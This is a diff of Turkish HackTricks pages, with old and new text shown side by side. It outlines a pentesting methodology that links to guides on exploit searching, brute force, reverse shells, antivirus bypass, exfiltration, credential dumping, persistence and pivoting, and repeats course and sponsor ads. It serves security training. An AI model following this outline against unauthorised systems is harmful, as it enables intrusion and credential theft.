Bir **ana bilgisayardaki zafiyetleri ararken** yapılması gereken ilk şey, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts). Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçları görelim**](pentesting-network/#scanning-hosts).
### **4-** [Servis sürümü açıklarını arama](search-exploits.md) ### **4-** [Servis sürümü açıklarını arama](search-exploits.md)
@ -53,22 +53,22 @@ Bir **ana bilgisayardaki zafiyetleri ararken** yapılması gereken ilk şey, han
### **5-** Servislerin Pentest Edilmesi ### **5-** Servislerin Pentest Edilmesi
Çalışan herhangi bir servis için şık bir açık yoksa, her çalışan serviste **ortak yapılandırmaları aramalısınız.** Çalışan herhangi bir servis için **şık bir açık yoksa**, **her çalışan serviste yaygın yapılandırmaları aramalısınız.**
**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır). **Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) bölümüne** dikkat çekmek istiyorum (çünkü en kapsamlı olanıdır).**\ **Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (çünkü en kapsamlı olanıdır).**\
Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir.**](search-exploits.md) Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir.**](search-exploits.md)
**Servisiniz indekste yoksa, Google'da arayın** diğer öğreticiler için ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). **Servisiniz indekste yoksa, Google'da arayın** diğer öğreticiler için ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise bağlanmaya başlayarak başlayabilirsiniz, onu fuzzing yapabilir ve yanıtları okuyabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar #### 5.1 Otomatik Araçlar
**Otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servislerin pentest notlarına dayanmaktadır. **Otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servisler hakkındaki notlara dayanmaktadır.
#### **5.2 Servislerin Kaba Kuvvet Saldırısı** #### **5.2 Servislerin Kaba Kuvvet Uygulaması**
Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için yararlı olabilir. [**Farklı servislerin kaba kuvvet saldırısına yönelik bir Hile Sayfasını burada bulabilirsiniz**](brute-force.md)**.** Bazı senaryolarda bir **Kaba Kuvvet** bir **servisi ele geçirmek** için yararlı olabilir. [**Farklı servislerin kaba kuvvet uygulaması hakkında bir Hile Sayfası burada bulunabilir**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/) ### 6- [Phishing](phishing-methodology/)
@ -76,13 +76,13 @@ Bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için bazı **phish
### **7-** [**Shell Almak**](shells/) ### **7-** [**Shell Almak**](shells/)
Herhangi bir şekilde kurbanın içinde kod **yürütebileceğiniz bir yol bulmuş olmalısınız.** Ardından, bir ters shell almak için kullanabileceğiniz **sistem içindeki olası araçların listesi çok faydalı olacaktır** (shells/). Herhangi bir şekilde kurbanın içinde **kod çalıştırmak için bir yol bulmuş olmalısınız.** Ardından, bir ters shell almak için kullanabileceğiniz **sistem içindeki olası araçların listesi çok faydalı olacaktır**.
Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\ Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\
### 8- İçeride ### 8- İçeride
Shell ile sorun yaşıyorsanız, pentesterlar için en **faydalı komutların küçük bir derlemesini burada bulabilirsiniz**: Eğer shell ile sorunlar yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini burada bulabilirsiniz**:
* [**Linux**](../linux-hardening/useful-linux-commands/) * [**Linux**](../linux-hardening/useful-linux-commands/)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -90,7 +90,7 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en **faydalı komutların k
### **9 -** [**Veri Sızdırma**](exfiltration.md) ### **9 -** [**Veri Sızdırma**](exfiltration.md)
Kurbanın içinden **bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.** Muhtemelen **kurbandan bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.**
### **10- Yetki Yükseltme** ### **10- Yetki Yükseltme**
#### **10.1- Yerel Yetki Yükseltme** #### **10.1- Yerel Yetki Yükseltme**
@ -101,7 +101,7 @@ Ayrıca **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol et
* [**Kimlik Doğrulama, Kimlik Bilgileri, Token yetkileri ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) * [**Kimlik Doğrulama, Kimlik Bilgileri, Token yetkileri ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/) * [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/)
* Windows'ta nasıl [**kimlik bilgileri çalınır**](broken-reference/) * Windows'ta [**kimlik bilgilerini çalma**](broken-reference/) yöntemleri
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları * [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
**Windows ve Linux yerel Yetki Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **Windows ve Linux yerel Yetki Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
@ -114,21 +114,21 @@ Burada [**Bir Active Directory'de numaralandırmak, yetkileri yükseltmek ve kal
#### **11.1 - Yağmalama** #### **11.1 - Yağmalama**
Makinenin içinde daha fazla **şifre** bulabilir misiniz veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz var mı** kontrol edin.\ Makinenin içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminizin olup olmadığını kontrol edin.**\
Windows'ta [**şifreleri nasıl döküleceğine**](broken-reference/) dair farklı yolları burada bulabilirsiniz. Windows'ta [**şifreleri dökmenin farklı yollarını burada bulabilirsiniz**](broken-reference/).
#### 11.2 - Kalıcılık #### 11.2 - Kalıcılık
**Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\ **Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\
**Burada** [**Active Directory'de kalıcılık hileleri bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.** **Burada [**Active Directory'de kalıcılık hileleri**](../windows-hardening/active-directory-methodology/#persistence)** bulabilirsiniz.**
TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın
### 12 - Pivoting ### 12 - Pivoting
**Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana bilgisayarları keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\ **Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana makineleri keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\
Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında konuşan bir yazıyı burada bulabilirsiniz**](tunneling-and-port-forwarding.md).\ Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında konuşan bir yazıyı burada bulabilirsiniz**](tunneling-and-port-forwarding.md).\
Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, yetkileri yükseltmek ve kimlik bilgileri dökmek için harika hileler bulacaksınız.\ Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, yetkileri yükseltmek ve kimlik bilgilerini dökmek için harika hileler bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir. Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir.
### DAHA FAZLA ### DAHA FAZLA
@ -149,7 +149,7 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol e
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md) * [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -159,11 +159,11 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklam görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. * **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.

View file

@ -10,14 +10,14 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -30,10 +30,10 @@ Bugün Erişim Alın:
* [**Temel python web istekleri sözdizimi**](web-requests.md) * [**Temel python web istekleri sözdizimi**](web-requests.md)
* [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md) * [**Temel python sözdizimi ve kütüphaneleri**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -48,6 +48,6 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -7,17 +7,17 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -39,11 +39,11 @@ is fixed running
pip3 install wheel pip3 install wheel
inside the virtual environment inside the virtual environment
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın: Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -53,10 +53,10 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin.** * **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,22 +2,22 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary> <summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imizi(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz (https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**]'i(https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ [**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -117,10 +117,10 @@ return 1
term = Terminal() term = Terminal()
term.cmdloop() term.cmdloop()
``` ```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve kolayca çalıştırın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -131,10 +131,10 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
